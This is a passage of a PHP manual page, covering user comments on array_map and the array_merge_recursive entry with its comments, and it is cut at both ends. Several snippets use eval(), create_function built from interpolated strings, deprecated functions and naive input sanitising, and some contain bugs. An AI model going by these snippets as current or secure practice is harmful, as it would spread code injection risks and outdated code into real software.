But this is not very efficient: two cycles instead of one. Another solution is to use foreach: one cycle and a lot of freedom (and in the same scope).
gordon dot mcvey at ntlworld dot com 28-Jan-2011 02:11
You can use array_map with PHP native functions as well as user functions.  This is very handy if you need to sanitize arrays.

<?php

$integers = array_map ('intval', $integers);
$safeStrings = array_map ('mysql_real_escape_string', $unsafeStrings);

?>
virtual dot greg at gmail dot com 05-Mar-2010 12:07
PHP 5.3 enables us to use inline anonymous functions with array_map, cleaning up the syntax slightly.

<?php
$data = array(
        array('id' => 1, 'name' => 'Bob', 'position' => 'Clerk'),
        array('id' => 2, 'name' => 'Alan', 'position' => 'Manager'),
        array('id' => 3, 'name' => 'James', 'position' => 'Director')
);

$names = array_map(
        function($person) { return $person['name']; },
        $data
);

print_r($names);
?>

This was possible (although not recommended) in prior versions of PHP 5, via create_function().

<?php
$names = array_map(
        create_function('$person', 'return $person["name"];'),
        $data
);
?>

You're less likely to catch errors in the latter version because the code is passed as string arguments.

These are alternatives to using a foreach:

<?php
$names = array();

foreach ($data as $row) {
        $names[] = $row['name'];
}
?>
kelly m 17-Feb-2010 11:28
I realize this function is easy enough to make, but this is a faster version (twice the speed) of [a function] which I find incredibly useful.

<?php
function array_pluck($key, $input) {
    if (is_array($key) || !is_array($input)) return array();
    $array = array();
    foreach($input as $v) {
        if(array_key_exists($key, $v)) $array[]=$v[$key];
    }
    return $array;
}
?>

Usage:

<?php $ids = array_pluck('id', $users); ?>
onassar at gmail dot com 14-Oct-2009 04:06
Fixed a bug with array recursion.

<?php
        /**
         * arrayMap function. Customized array_map function which preserves keys/associate array indexes. Note that this costs a descent amount more memory (eg. 1.5k per call)
         *
         * @access public
         * @param callback $callback Callback function to run for each element in each array.
         * @param mixed $arr1 An array to run through the callback function.
         * @param array $array Variable list of array arugments to run through the callback function.
         * @return array Array containing all the elements of $arr1 after applying the callback function to each one, recursively, maintain keys.
         */
        function arrayMap($callback,$arr1) {
            $results       =    array();
            $args          =    array();
            if(func_num_args()>2)
                $args          =    (array) array_shift(array_slice(func_get_args(),2));
            foreach($arr1 as $key=>$value) {
                $temp    =    $args;
                array_unshift($temp,$value);
                if(is_array($value)) {
                    array_unshift($temp,$callback);
                    $results[$key]    =    call_user_func_array(array('self','arrayMap'),$temp);
                } else {
                    $results[$key]    =    call_user_func_array($callback,$temp);
                }
            }
            return $results;
        }
?>
onassar at gmail dot com 12-Oct-2009 12:33
Wrote up my own key preservation function for array mapping. It allows n arguments to be passed, and should be easy enough to follow if you need to make any mods. If you've got any thoughts let me know.

<?php
        /**
         * arrayMap function. Customized array_map function which preserves keys/associate array indexes.
         *
         * @access public
         * @param callback $callback Callback function to run for each element in each array.
         * @param mixed $arr1 An array to run through the callback function.
         * @param array $array Variable list of array arugments to run through the callback function.
         * @return array Array containing all the elements of $arr1 after applying the callback function to each one, recursively, maintain keys.
         */
        function arrayMap($callback,$arr1) {
            $results       =    array();
            $args          =    array();
            if(func_num_args()>2)
                $args          =    (array) array_shift(array_slice(func_get_args(),2));
            foreach($arr1 as $key=>$value) {
                if(is_array($value)) {
                    array_unshift($args,$value);
                    array_unshift($args,$callback);
                    $results[$key]    =    call_user_func_array(array('self','arrayMap'),$args);
                }
                else {
                    array_unshift($args,$value);
                    $results[$key]    =    call_user_func_array($callback,$args);
                }
            }
            return $results;
        }
?>
galenjr at gmail dot com 15-Jun-2009 08:19
Another way to array_map htmlentities with a specific quote style is to create a function that does it and map that function

<?php

function map_entities( $str ) {
    return htmlentities( $str, ENT_QUOTES );
}
$good_array = array_map ( 'map_entities', $bad_array );

?>
radist-hack at yandex dot ru 01-Nov-2008 10:37
To transpose rectangular two-dimension array, use the following code:

array_unshift($array, null);
$array = call_user_func_array("array_map", $array);

If you need to rotate rectangular two-dimension array on 90 degree, add the following line before or after (depending on the rotation direction you need) the code above:
$array = array_reverse($array);

Here is example:

<?php
$a = array(
  array(1, 2, 3),
  array(4, 5, 6));
array_unshift($a, null);
$a = call_user_func_array("array_map", $a);
print_r($a);
?>

Output:

Array
(
    [0] => Array
        (
            [0] => 1
            [1] => 4
        )

    [1] => Array
        (
            [0] => 2
            [1] => 5
        )

    [2] => Array
        (
            [0] => 3
            [1] => 6
        )

)
Heero 16-Oct-2008 07:02
You can easily remove all HTML tags from $_GET or $_POST variables using something like this:

<?php

$_POST = array_map('strip_tags', $_POST);
$_GET = array_map('strip_tags', $_GET);

?>

This is useful when you don't want to parse HTML.
stijnleenknegt at gmail dot com 23-Jul-2008 01:17
If you want to pass an argument like ENT_QUOTES to htmlentities, you can do the follow.

<?php
$array = array_map( 'htmlentities' , $array, array_fill(0 , count($array) , ENT_QUOTES) );
?>

The third argument creates an equal sized array of $array filled with the parameter you want to give with your callback function.
GUI 26-Jun-2008 04:48
The following takes an array of objects, and returns the result of calling a member function on each object. So if I have an array of objects that all have a getName() method, calling array_map_objects("getName", $thingies) will return the array filled with the getName() value for each object.

<?php
function array_map_objects($member_function, $array) {
    $values = array();

    if(is_string($member_function) && is_array($array)) {
        $callback = create_function('$e', 'return call_user_func(array($e, "' . $member_function .'"));');
        $values = array_map($callback, $array);
    }

    return $values;
}
?>
moester at gmail dot com 02-Apr-2008 10:21
Wish this was built in.  Mimics Ruby and Prototype's array pluck function.  Returns specific key/column from an array of objects.

<?php
function array_pluck($key, $array)
{
    if (is_array($key) || !is_array($array)) return array();
    $funct = create_function('$e', 'return is_array($e) && array_key_exists("'.$key.'",$e) ? $e["'. $key .'"] : null;');
    return array_map($funct, $array);
}

// usage:

$a = array(array("id"=>10, "name"=>"joe"), array("id"=>11, "name"=>"bob"));

$ids = array_pluck("id", $a);        // == array(10,11)
$names = array_pluck("name", $a);    // == array("joe", "bob")

//works on non-keyed arrays also:

$a = array(array(3,4), array(5,6));
$col2 = array_pluck(1,$a);            // == array(4,6) (grab 2nd column of data)

?>
chreekat 13-Mar-2008 12:48
I was miffed that array_map didn't have a way to pass values *and* keys to the callback, but then I realized I could do this:

function callback($k, $v) { ... }

array_map( "callback", array_keys($array), $array);
jo at ho dot nl 17-Feb-2008 11:10
Could also use things like...

array_keys(); and array_values(); offcourse...

However it's just an example off recursion via this function..
Which I found pretty handy at times dealing with arrays..

could also use:

<?php
call_user_func(array($this, __FUNCTION), $args);
?>

or

<?php
call_user_fuc_array(array($this, __FUNCTION__), $array);
?>

or

<?php
class{

   public function __construct($arg){
       if(is_array($arg)){
            new self($arg);
       }
       else{
           echo $arg.'<br/>'.PHP_EOL;
       }
   }
}
?>

Anyway.. plenty off examples..
It was just an idea for others...
loaded67 at hotmail dot com 08-Feb-2008 11:59
this function is really nice for recursion in php!!!

example in a class:

<?php
class test{

    //private $container = array();

    final public function add($key, $value){
         /* recursion */
         if(is_array($value)){
               array_map(array($this, __FUNCTION__), array_keys($value), array_values($value));
         }
         /* procedural */
         else{
             echo $key.' => '.$value.'<br/>'.PHP_EOL;
             // do stuff...
             // if(!isset($this->container[$key])){
             //       $this->container[$key] = $value;
             // }
             //else{  // trigger_error() xor throw new Exception?
             //         echo 'allready exists!<br/>'.PHP_EOL;
             //}
         }
    }
}
//
$array = array (
                               'one'   => 'value1',
                               'two'   => 'value2',
                               'three' => 'value3'
                            );

$t = new test;
$t->add($array);
?>

you could easiely do this without a class too offcourse!
used in php 5.2.5
pmf 23-Jan-2008 04:02
This function behaves exactly like array_map but additionally does not reject non-array arguments. Instead, it transforms them with the array_fill function to a constant valued array of required length according to the other array arguments (if any) and executes the original array_map function.

<?php

function array_map2() {
    $args = func_get_args();

    $callback = array_shift($args);

    $args = array_map(
            create_function('$a,$max','return is_array($a)? $a: array_fill(0,$max,$a);'),
            $args,array_fill(0,count($args),array_reduce($args,
            create_function('$v,$w','return max($v,is_array($w)? count($w): 1);'))));

    array_unshift($args,$callback);

    return call_user_func_array("array_map",$args);
}

?>

Example:

<?php

$get = "first=value1&second=value2&third=value3";

print_r(array_map2("explode","=",explode("&",$get)));

?>

would print out:

<?php

Array
(
    [0] => Array
        (
            [0] => first
            [1] => value1
        )

    [1] => Array
        (
            [0] => second
            [1] => value2
        )

    [2] => Array
        (
            [0] => third
            [1] => value3
        )
)

?>

/pmf
henrique at webcoder dot com dot br 01-Nov-2007 05:02
Adding method support to function by Andref (multidimensionalArrayMap).

function array_map_r( $func, $arr )
{
    $newArr = array();

    foreach( $arr as $key => $value )
    {
        $newArr[ $key ] = ( is_array( $value ) ? array_map_r( $func, $value ) : ( is_array($func) ? call_user_func_array($func, $value) : $func( $value ) ) );
    }

    return $newArr;
}

array_map_r('function', array());
or
array_map_r(array('class', 'method'), array());
bturchik at iponweb dot net 19-Jul-2007 04:46
Maybe this one will be useful for someone:

function array_map_helper($mapper, $array) {
    $mapper = preg_replace('/^return (.*?);$/', '$1', trim($mapper));
    $result = array();
    if (preg_match('/(\(?)(.*?)\s*=>\s*(.*?)(\)?)$/', $mapper, $matches)) {
        list($full_found, $array_open, $left, $right, $array_close) = $matches;
        if ($array_open && $array_close) {
            $mapper = '$result[] = array' . $full_found . ';';
        } else {
            $mapper = '$result[' . $left . '] = ' . $right . ';';
        }
    } else {
        $mapper = '$result[] = ' . $mapper . ';';
    }

    foreach ($array as $key => $value) {
        eval($mapper);
    }

    return $result;
}

should be used like:

$array = array(array('foo' => 11, 'bar' => 22),
               array('foo' => 111, 'bar' => 222),
               array('foo' => 1111, 'bar' => 2222));
$mapped = array_map_helper('$value["foo"] => $value["bar"]', $array);

var_dump will give

array(3) {
  [11]=>
  int(22)
  [111]=>
  int(222)
  [1111]=>
  int(2222)
}

or

$mapped = array_map_helper('$value["foo"]', $array);

var_dump will give

array(3) {
  [0]=>
  int(11)
  [1]=>
  int(111)
  [2]=>
  int(1111)
}

or

$mapped = array_map_helper('$value["foo"] + $value["bar"] . " at position $key"', $array);

var_dump will give

array(3) {
  [0]=>
  string(16) "33 at position 0"
  [1]=>
  string(17) "333 at position 1"
  [2]=>
  string(18) "3333 at position 2"
}
andref dot dias at pronus dot eng dot br 24-Oct-2006 09:14
A recursive way to handle multidimensional arrays:

<?php

function multidimensionalArrayMap( $func, $arr )
    {
    $newArr = array();
    foreach( $arr as $key => $value )
        {
        $newArr[ $key ] = ( is_array( $value ) ? multidimensionalArrayMap( $func, $value ) : $func( $value ) );
        }
    return $newArr;
    }

?>
pcdinh at phpvietnam dot net 18-Mar-2006 05:50
Hi benjaminhill,

You can apply a method of a instantiated class to array_maps as follows:

class Maths {
    function addOne($input) {
        return ($input + 1);
    }
}
$maths = new Maths();
$sum = array_map(array($maths, \\\'addOne\\\'), array(1, 2));
// where $maths is the object which has been instantiated before and addOne is its method without its own parameters
var_dump($sum);

The code fragment will return:

array
  0 => 2
  1 => 3

However, I love a syntax like this:

$sum = array_map($maths->addOne($this), array(1, 2));

where $this should be interpreted as each values extracted from the subsequent array, which in this case is array(1, 2).

This syntax reminds me of Javascript syntax.

PHP\\\'s callback mechanism should be improved.
26-Aug-2005 03:57
Here's a function, very helpfull to me, that allows you to map your callback on mixed args.

<?php
function array_smart_map($callback) {
    // Initialization
    $args = func_get_args() ;
    array_shift($args) ; // suppressing the callback
    $result = array() ;

    // Validating parameters
    foreach($args as $key => $arg)
        if(is_array($arg)) {
            // the first array found gives the size of mapping and the keys that will be used for the resulting array
            if(!isset($size)) {
                $keys = array_keys($arg) ;
                $size = count($arg) ;
            // the others arrays must have the same dimension
            } elseif(count($arg) != $size) {
                return FALSE ;
            }
            // all keys are suppressed
            $args[$key] = array_values($arg) ;
        }

    // doing the callback thing
    if(!isset($size))
        // if no arrays were found, returns the result of the callback in an array
        $result[] = call_user_func_array($callback, $args) ;
    else
        for($i=0; $i<$size; $i++) {
            $column = array() ;
            foreach($args as $arg)
                $column[] = ( is_array($arg) ? $arg[$i] : $arg ) ;
            $result[$keys[$i]] = call_user_func_array($callback, $column) ;
        }

    return $result ;

}
?>

Trying with :

<?php
// $_GET is ?foo=bar1-bar2-bar3&bar=foo1
print_r(array_smart_map('explode', '-', $_GET)) ;
?>

Returns :

array(
    [foo] => array(
        0 => bar1
        1 => bar2
        2 => bar3
    )

    [bar] => array(
        1 => foo1
    )
)
david dot tulloh at infaze dot com dot au 07-Jul-2005 01:53
You can pass values to array_map by reference, essentially allowing you to use it as you would array_walk with multiple arrays as parameters.

A trivial example:
<?php
$a = array(1,2,3,4,5);
$add_func = create_function('&$x, $y', '$x+=$y;');
array_map($add_func, $a, $a);
print_r($a);
?>
Array
(
    [0] => 2
    [1] => 4
    [2] => 6
    [3] => 8
    [4] => 10
)
Vinicius Cubas Brand 23-Mar-2005 02:31
The following function does exaclty the same thing of array_map. However, maintains the same index of the input arrays

<?php
    function array_map_keys($param1,$param2,$param3=NULL)
    {
        $res = array();

        if ($param3 !== NULL)
        {
            foreach(array(2,3) as $p_name)
            {
                if (!is_array(${'param'.$p_name}))
                {
                    trigger_error(__FUNCTION__.'(): Argument #'.$p_name.' should be an array',E_USER_WARNING);
                    return;
                }
            }
            foreach($param2 as $key => $val)
            {
                $res[$key] = call_user_func($param1,$param2[$key],$param3[$key]);
            }
        }
        else
        {
            if (!is_array($param2))
            {
                trigger_error(__FUNCTION__.'(): Argument #2 should be an array',E_USER_WARNING);
                return;
            }
            foreach($param2 as $key => $val)
            {
                $res[$key] = call_user_func($param1,$param2[$key]);
            }
        }
        return $res;
    }
?>

For instance:

<?php
    $arr1 = array(
        '3' => 'a',
        '4' => 'b',
        '5' => 'c'
        );

    $arr2 = array(
        '3' => 'd',
        '4' => 'e',
        '5' => 'f'
        );

    $arr3 = array_map_keys(create_function('$a,$b','return $a.$b;'),$arr1,$arr2);

    print_r($arr3);

?>

The result will be:

Array
(
    [3] => ad
    [4] => be
    [5] => cf
)
endofyourself at yahoo dot com 20-Feb-2005 08:29
If you need to call a static method from array_map, this will NOT work:

<?PHP
array_map('myclass::myMethod' , $value);
?>

Instead, you need to do this:

<?PHP
array_map( array('myclass','myMethod') , $value);
?>

It is helpful to remember that this will work with any PHP function which expects a callback argument.
nd0 at gmx dot de 02-Jul-2004 01:42
array_map works also fine with create_function:

<?php
$a = array(1, 2, 3, 4, 5);
$b = array_map(create_function('$n', 'return $n*$n*$n;'), $a);
print_r($b);
?>

if you want to manipulate the elements of the array, instead to on a copy,
than take a look at array_walk:

<?php
$a = array(1, 2, 3, 4, 5);
array_walk($a, create_function('&$n', '$n = $n*$n*$n;'));
print_r($a);
?>

The Result of both is:

Array
(
    [0] => 1
    [1] => 8
    [2] => 27
    [3] => 64
    [4] => 125
)
stephen at mu dot com dot au 07-Jan-2003 07:02
A note when doing something allong the lines of:

<?php
class foo {
  var $var;
  function bar() {
     array_map(array($this, "baz"), array(1,2,3));
  }

  function baz($arg) {
    $this->var = $this->var + $arg;
  }
}
?>

This will *not* work as expected. You need to pass $this by reference as with:

array_map(array(&$this, "baz"), array(1,2,3));

or you'll be making a copy of the object each time, changing a value, then throwing the result away.


Merge two or more arrays recursively

  • « array_map
  • array_merge »
  • PHP Manual
  • Array Functions
  • Merge two or more arrays recursively

array_merge_recursive

(PHP 4 >= 4.0.1, PHP 5)

array_merge_recursive — Merge two or more arrays recursively

Description

array array_merge_recursive ( array $array1 [, array $... ] )

array_merge_recursive() merges the elements of one or more arrays together so that the values of one are appended to the end of the previous one. It returns the resulting array.

If the input arrays have the same string keys, then the values for these keys are merged together into an array, and this is done recursively, so that if one of the values is an array itself, the function will merge it with a corresponding entry in another array too. If, however, the arrays have the same numeric key, the later value will not overwrite the original value, but will be appended.

Parameters

array1

Initial array to merge.

...

Variable list of arrays to recursively merge.

Return Values

An array of values resulted from merging the arguments together.

Examples

Example #1 array_merge_recursive() example

<?php
$ar1 = array("color" => array("favorite" => "red"), 5);
$ar2 = array(10, "color" => array("favorite" => "green", "blue"));
$result = array_merge_recursive($ar1, $ar2);
print_r($result);
?>

The above example will output:

Array
(
    [color] => Array
        (
            [favorite] => Array
                (
                    [0] => red
                    [1] => green
                )

            [0] => blue
        )

    [0] => 5
    [1] => 10
)

See Also

  • array_merge() - Merge one or more arrays
  • array_replace_recursive() - Replaces elements from passed arrays into the first array recursively

User Contributed Notes

php at metehanarslan dot com 13-Jun-2014 07:52
Sometimes you need to modify an array with another one here is my approach to replace an array's content recursively with delete opiton. Here i used "::delete::" as reserved word to delete items.

<?php
$person= array(
    "name" => "Metehan",
    "surname"=>"Arslan",
    "age"=>27,
    "mail"=>"hidden",
    "favs" => array(
        "language"=>"php",
        "planet"=>"mercury",
        "city"=>"istanbul")
);

$newdata = array(
    "age"=>28,
    "mail"=>"::delete::",
    "favs" => array(
        "language"=>"js",
        "planet"=>"mercury",
        "city"=>"shanghai")
);

print_r(array_overlay($person,$newdata));
// result: Array ( [name] => Metehan [surname] => Arslan [age] => 28 [favs] => Array ( [language] => js [planet] => mercury [city] => shanghai ) )

function array_overlay($a1,$a2)
{
    foreach($a1 as $k => $v) {
        if ($a2[$k]=="::delete::"){
            unset($a1[$k]);
            continue;
        };
        if(!array_key_exists($k,$a2)) continue;
        if(is_array($v) && is_array($a2[$k])){
            $a1[$k] = array_overlay($v,$a2[$k]);
        }else{
            $a1[$k] = $a2[$k];
        }

    }
    return $a1;
}
?>
cezarion at cezarion dot net 09-Apr-2014 09:22
An updated version of  array_merge_recursive without overwriting numeric keys from martyniuk :
function array_merge_recursive_new()
 {
    $arrays = func_get_args();
        $base = array_shift($arrays);

        foreach ($arrays as $array) {
            reset($base); //important
            while (list($key, $value) = @each($array)) {
                if (is_array($value) && @is_array($base[$key])) {
                    $base[$key] = array_merge_recursive_new($base[$key], $value);
                } else {
                    if(isset($base[$key]) && is_int($key)) {
                      $key++;
                    }
                    $base[$key] = $value;
                }
            }
        }

    return $base;
  }
robert dot schlak at alcatel-lucent dot com 03-Jul-2012 01:39
The presence of NULLs; here is an example of the issue and a fix. Although it may not be apparent, if using array_merge_recursive in a loop to combine results from a database query or some other function, you can corrupt your result when NULLs are present in the data. I discovered this when migrating from an Oracle DB to a MySQL DB. I had to match the array structure returned from the PHP function calling the DB and got bit. The array_walk call fixed this for me.
This is a simple example that lacks any DB calls and looping. Assume your array had the DB column names (first, last, and age) and you needed to combine the data in a multi-dimensional array in which the column name is an array key with all rows beneath it. The corruption occurs in $a3. If using element position 2, one could create the fictitious 'pete johnson' because of the collapsing of elements.

<?php
print "<pre>Show corruption\\n";
$a1 = array('first'=>'bob', 'last'=>'jones', 'age'=>'48');
$a2 = array('first'=>'sam', 'last'=>'smith', 'age'=>'41');
$a3 = array('first'=>'pete', 'last'=>null, 'age'=>'3');
$a4 = array('first'=>'joe', 'last'=>'johnson', 'age'=>'33');
$a5 = array_merge_recursive($a1,$a2,$a3,$a4);
print_r($a5);

print "Show Fix\\n";
$a1 = array('first'=>'bob', 'last'=>'jones', 'age'=>'48');
$a2 = array('first'=>'sam', 'last'=>'smith', 'age'=>'41');
$a3 = array('first'=>'pete', 'last'=>null, 'age'=>'3');
array_walk($a3, 'null_to_empty');
$a4 = array('first'=>'joe', 'last'=>'johnson', 'age'=>'33');
$a5 = array_merge_recursive($a1,$a2,$a3,$a4);
print_r($a5);
print "</pre>\\n";

function null_to_empty(&$item) {

  $item = is_null($item) ? '' : $item;
}
?>
martyniuk dot vasyl at gmail dot com 24-Dec-2011 06:10
This is my version of array_merge_recursive without overwriting numeric keys:
<?php
function array_merge_recursive_new() {

        $arrays = func_get_args();
        $base = array_shift($arrays);

        foreach ($arrays as $array) {
            reset($base); //important
            while (list($key, $value) = @each($array)) {
                if (is_array($value) && @is_array($base[$key])) {
                    $base[$key] = array_merge_recursive_new($base[$key], $value);
                } else {
                    $base[$key] = $value;
                }
            }
        }

        return $base;
    }
?>
walf 26-May-2011 07:23
There are a lot of examples here for recursion that are meant to behave more like array_merge() but they don't get it quite right or are fairly customised. I think this version is most similar, takes more than 2 arguments and can be renamed in one place:

<?php

function array_merge_recursive_simple() {

    if (func_num_args() < 2) {
        trigger_error(__FUNCTION__ .' needs two or more array arguments', E_USER_WARNING);
        return;
    }
    $arrays = func_get_args();
    $merged = array();
    while ($arrays) {
        $array = array_shift($arrays);
        if (!is_array($array)) {
            trigger_error(__FUNCTION__ .' encountered a non array argument', E_USER_WARNING);
            return;
        }
        if (!$array)
            continue;
        foreach ($array as $key => $value)
            if (is_string($key))
                if (is_array($value) && array_key_exists($key, $merged) && is_array($merged[$key]))
                    $merged[$key] = call_user_func(__FUNCTION__, $merged[$key], $value);
                else
                    $merged[$key] = $value;
            else
                $merged[] = $value;
    }
    return $merged;
}

$a1 = array(
    88 => 1,
    'foo' => 2,
    'bar' => array(4),
    'x' => 5,
    'z' => array(
        6,
        'm' => 'hi',
    ),
);
$a2 = array(
    99 => 7,
    'foo' => array(8),
    'bar' => 9,
    'y' => 10,
    'z' => array(
        'm' => 'bye',
        11,
    ),
);
$a3 = array(
    'z' => array(
        'm' => 'ciao',
    ),
);
var_dump(array_merge($a1, $a2, $a3));
var_dump(array_merge_recursive_simple($a1, $a2, $a3));
var_dump(array_merge_recursive($a1, $a2, $a3));
?>

gives:

array(7) {              array(7) {              array(7) {
  int(1)                  int(1)                  int(1)
  ["foo"]=>               ["foo"]=>               ["foo"]=>
  array(1) {              array(1) {              array(2) {
    [0]=>                   [0]=>                   [0]=>
    int(8)                  int(8)                  int(2)
  }                       }                         [1]=>
  ["bar"]=>               ["bar"]=>                 int(8)
  int(9)                  int(9)                  }
  ["x"]=>                 ["x"]=>                 ["bar"]=>
  int(5)                  int(5)                  array(2) {
  ["z"]=>                 ["z"]=>                   [0]=>
  array(1) {              array(3) {                int(4)
    ["m"]=>                 [0]=>                   [1]=>
    string(4) "ciao"        int(6)                  int(9)
  }                         ["m"]=>               }
  [1]=>                     string(4) "ciao"      ["x"]=>
  int(7)                    [1]=>                 int(5)
  ["y"]=>                   int(11)               ["z"]=>
  int(10)                 }                       array(3) {
}                         [1]=>                     [0]=>
                          int(7)                    int(6)
                          ["y"]=>                   ["m"]=>
                          int(10)                   array(3) {
                        }                             [0]=>
                                                      string(2) "hi"
                                                      [1]=>
                                                      string(3) "bye"
                                                      [2]=>
                                                      string(4) "ciao"
                                                    }
                                                    [1]=>
                                                    int(11)
                                                  }
                                                  [1]=>
                                                  int(7)
                                                  ["y"]=>
                                                  int(10)
                                                }
andyidol at gmail dot com 11-Feb-2011 04:14
Here's my function to recursively merge two arrays with overwrites. Nice for merging configurations.

<?php

function MergeArrays($Arr1, $Arr2)
{
  foreach($Arr2 as $key => $Value)
  {
    if(array_key_exists($key, $Arr1) && is_array($Value))
      $Arr1[$key] = MergeArrays($Arr1[$key], $Arr2[$key]);

    else
      $Arr1[$key] = $Value;

  }

  return $Arr1;

}

?>
lsiq at papotam com 01-Oct-2010 10:17
<?php

//  this function merges an array with the $_SESSION
//  if you omit second parameter it merges to the root
//  if you give one 'path' array it is merged deeply

function arr2sess($arr, $path=array()){
   if (!is_array($arr)) return false;
   foreach($arr as $k => $v){
      if(is_array($arr[$k])) {
          $path[] = $k;
          arr2sess($arr[$k], $path);
      }else{
          $ref = &$_SESSION;
          if($path){
              foreach($path as $val){
                  if(!$ref[$val]) $ref[$val] = array();
                  $ref = &$ref[$val];
              }
          }
          $ref[$k] = $v;
      }
   }
}

session_start();
$x = array(k1=>12, k2=>array(kxx=>'forget me', kyy=>'I was allways here'));     // do you have any of this on $_SESSION
$rpl = array(k2=>array(kxx=>'I am a replaced value',kzz=>'I am a new value'));
arr2sess($x, array('deep','deep','in_session'));                                // you can use this way
arr2sess($x);                                                                   // or this
arr2sess($rpl);                                                                 // to merge parts with the $_SESSION

$w = array(120, q=>array(199,100));                                             // works the same way on numeric keys
arr2sess($w, array('one','two'));
arr2sess($w);

echo '<pre>';
print_r($_SESSION);

?>
mark dot roduner at gmail dot com 14-Feb-2010 08:34
<?php
/**
 * Merges any number of arrays / parameters recursively, replacing
 * entries with string keys with values from latter arrays.
 * If the entry or the next value to be assigned is an array, then it
 * automagically treats both arguments as an array.
 * Numeric entries are appended, not replaced, but only if they are
 * unique
 *
 * calling: result = array_merge_recursive_distinct(a1, a2, ... aN)
**/

function array_merge_recursive_distinct () {
  $arrays = func_get_args();
  $base = array_shift($arrays);
  if(!is_array($base)) $base = empty($base) ? array() : array($base);
  foreach($arrays as $append) {
    if(!is_array($append)) $append = array($append);
    foreach($append as $key => $value) {
      if(!array_key_exists($key, $base) and !is_numeric($key)) {
        $base[$key] = $append[$key];
        continue;
      }
      if(is_array($value) or is_array($base[$key])) {
        $base[$key] = array_merge_recursive_distinct($base[$key], $append[$key]);
      } else if(is_numeric($key)) {
        if(!in_array($value, $base)) $base[] = $value;
      } else {
        $base[$key] = $value;
      }
    }
  }
  return $base;
}
?>
drvali at hotmail dot com 06-Oct-2009 06:31
<?php
/**
 * Merges any number of arrays of any dimensions, the later overwriting
 * previous keys, unless the key is numeric, in whitch case, duplicated
 * values will not be added.
 *
 * The arrays to be merged are passed as arguments to the function.
 *
 * @access public
 * @return array Resulting array, once all have been merged
 */
function array_merge_replace_recursive() {
    // Holds all the arrays passed
    $params = & func_get_args ();

    // First array is used as the base, everything else overwrites on it
    $return = array_shift ( $params );

    // Merge all arrays on the first array
    foreach ( $params as $array ) {
        foreach ( $array as $key => $value ) {
            // Numeric keyed values are added (unless already there)
            if (is_numeric ( $key ) && (! in_array ( $value, $return ))) {
                if (is_array ( $value )) {
                    $return [] = $this->array_merge_replace_recursive ( $return [$$key], $value );
                } else {
                    $return [] = $value;
                }

            // String keyed values are replaced
            } else {
                if (isset ( $return [$key] ) && is_array ( $value ) && is_array ( $return [$key] )) {
                    $return [$key] = $this->array_merge_replace_recursive ( $return [$$key], $value );
                } else {
                    $return [$key] = $value;
                }
            }
        }
    }

    return $return;
}

$a = array (
    "a" => 1,
    "b" => 2,
    'foo',
    'bar'
);
$b = array (
    "a" => 2,
    "c" => 3,
    'foo'
);

$c = array_merge_replace_recursive ( $a, $b );
print_r ( $a );
print_r ( $b );
print_r ( $c );
?>

Output:
Array
(
    [a] => 1
    [b] => 2
    [0] => foo
    [1] => bar
)
Array
(
    [a] => 2
    [c] => 3
    [0] => foo
)
Array
(
    [a] => 2
    [b] => 2
    [0] => foo
    [1] => bar
    [c] => 3
)
gabriel dot sobrinho at gmail dot com 14-Jul-2009 04:56
I refactored the Daniel's function and I got it:

<?php
/**
 * array_merge_recursive does indeed merge arrays, but it converts values with duplicate
 * keys to arrays rather than overwriting the value in the first array with the duplicate
 * value in the second array, as array_merge does. I.e., with array_merge_recursive,
 * this happens (documented behavior):
 *
 * array_merge_recursive(array('key' => 'org value'), array('key' => 'new value'));
 *     => array('key' => array('org value', 'new value'));
 *
 * array_merge_recursive_distinct does not change the datatypes of the values in the arrays.
 * Matching keys' values in the second array overwrite those in the first array, as is the
 * case with array_merge, i.e.:
 *
 * array_merge_recursive_distinct(array('key' => 'org value'), array('key' => 'new value'));
 *     => array('key' => array('new value'));
 *
 * Parameters are passed by reference, though only for performance reasons. They're not
 * altered by this function.
 *
 * @param array $array1
 * @param array $array2
 * @return array
 * @author Daniel <daniel (at) danielsmedegaardbuus (dot) dk>
 * @author Gabriel Sobrinho <gabriel (dot) sobrinho (at) gmail (dot) com>
 */
function array_merge_recursive_distinct ( array &$array1, array &$array2 )
{
  $merged = $array1;

  foreach ( $array2 as $key => &$value )
  {
    if ( is_array ( $value ) && isset ( $merged [$key] ) && is_array ( $merged [$key] ) )
    {
      $merged [$key] = array_merge_recursive_distinct ( $merged [$key], $value );
    }
    else
    {
      $merged [$key] = $value;
    }
  }

  return $merged;
}
?>

This fix the E_NOTICE when the the first array doesn't have the key and the second array have a value which is a array.
jonnybergstrom at googles mail domain dot comm 27-Jun-2009 05:30
This function didn't work for me - or it didn't do what I thought it would. So I wrote the below function, which merges two arrays, and returns the resulting array. The base array is the left one ($a1), and if a key is set in both arrays, the right value has precedence. If a value in the left one is an array and also an array in the right one, the function calls itself (recursion). If the left one is an array and the right one exists but is not an array, then the right non-array-value will be used.

*Any key only appearing in the right one will be ignored*
 - as I didn't need values appearing only in the right in my implementation, but if you want that you could make some fast fix.

function array_merge_recursive_leftsource(&$a1, &$a2) {
    $newArray = array();
    foreach ($a1 as $key => $v) {
        if (!isset($a2[$key])) {
            $newArray[$key] = $v;
            continue;
        }

        if (is_array($v)) {
            if (!is_array($a2[$key])) {
                $newArray[$key] = $a2[$key];
                continue;
            }
            $newArray[$key] = array_merge_recursive_leftsource($a1[$key], $a2[$key]);
            continue;
        }

        $newArray[$key] = $a2[$key];
    }
    return $newArray;
}
michiel at synetic dot nl 22-May-2009 10:54
A small improvement upon the previously posted array_merge_recursive_distinct functions (based on daniel's version). This implementation preserves the parameter input from the original, you can pass an infinite amount of array's to merge.

<?php
function &array_merge_recursive_distinct()
{
    $aArrays = func_get_args();
    $aMerged = $aArrays[0];

    for($i = 1; $i < count($aArrays); $i++)
    {
        if (is_array($aArrays[$i]))
        {
            foreach ($aArrays[$i] as $key => $val)
            {
                if (is_array($aArrays[$i][$key]))
                {
                    $aMerged[$key] = is_array($aMerged[$key]) ? PR::array_merge_recursive_distinct($aMerged[$key], $aArrays[$i][$key]) : $aArrays[$i][$key];
                }
                else
                {
                    $aMerged[$key] = $val;
                }
            }
        }
    }

    return $aMerged;
}
?>
daniel at danielsmedegaardbuus dot dk 19-Mar-2009 11:18
<?php
/**
 * array_merge_recursive does indeed merge arrays, but it converts values with duplicate
 * keys to arrays rather than overwriting the value in the first array with the duplicate
 * value in the second array, as array_merge does. I.e., with array_merge_recursive,
 * this happens (documented behavior):
 *
 * array_merge_recursive(array('key' => 'org value'), array('key' => 'new value'));
 *     => array('key' => array('org value', 'new value'));
 *
 * array_merge_recursive_distinct does not change the datatypes of the values in the arrays.
 * Matching keys' values in the second array overwrite those in the first array, as is the
